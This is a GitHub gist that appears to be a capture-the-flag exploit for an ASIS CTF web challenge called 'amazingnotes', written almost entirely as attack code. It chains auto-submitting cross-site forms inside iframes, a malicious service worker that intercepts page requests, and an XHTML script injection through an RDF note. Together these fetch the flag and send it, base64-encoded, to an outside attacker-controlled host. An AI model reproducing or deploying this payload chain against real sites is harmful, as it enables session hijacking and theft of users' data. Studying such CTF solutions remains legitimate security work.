Created
December 13, 2020 16:20
-
-
Save po6ix/cd68f281170e1eb66dd03e58073bf9e9 to your computer and use it in GitHub Desktop.
Amazing notes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe srcdoc="<form action="https://amazingnotes.asisctf.com:444/" method="POST" id=x> | |
<input name=ext value=es> | |
<textarea name=note> | |
self.addEventListener("fetch", function(event) { | |
if(event.request.url.indexOf("flag") != -1) | |
return; | |
event.respondWith(new Response(` | |
<img src=//p6.is/givemeflag> | |
<script> | |
fetch('/flag', {method:'POST', headers: {"X-I-Want": "flag"}}) | |
.then(x=>x.text()) | |
.then(x=>{ | |
location = '//p6.is/theflag?'+btoa(x) | |
}) | |
.catch(x=>{ | |
location = '//p6.is/theerrorflag?'+btoa(x) | |
}) | |
</script> | |
`, { | |
headers: {"Content-Type": "text/html"} | |
})); | |
}); | |
</textarea> | |
<script> | |
x.submit() | |
</script> | |
</form>"></iframe> | |
<iframe srcdoc="<form action="https://amazingnotes.asisctf.com:444/" method="POST" id=x> | |
<input name=ext value=es> | |
<textarea name=note> | |
try { | |
navigator.serviceWorker.register("/note/a4e806bcda3adca0d4b78d5066b84dc2.es", { | |
	scope: "/note/" | |
}).then(function(reg) { | |
setTimeout(() => { | |
location = "https://amazingnotes.asisctf.com:444/note/xxx.es"; | |
}, 500); | |
}).catch(function(e) { | |
	location = "https://p6.is/error?" + e; | |
}); | |
} catch(e) {	location = "https://p6.is/error?" + e;} | |
</textarea> | |
<script> | |
x.submit() | |
</script> | |
</form>"></iframe> | |
<iframe srcdoc="<form action="https://amazingnotes.asisctf.com:444/" method="POST" id=x> | |
<input name=ext value=rdf> | |
<textarea name=note> | |
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="/note/15b27a18b1c0acf70f33cf8f73400cc0.es"></x:script> | |
</textarea> | |
<script> | |
x.submit() | |
</script> | |
</form>"></iframe> | |
<script> | |
setTimeout(() => { | |
location = 'https://amazingnotes.asisctf.com:444/note/ba8cfa7a9f18d67b96d1849dd7626b9f.rdf'; | |
}, 500); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment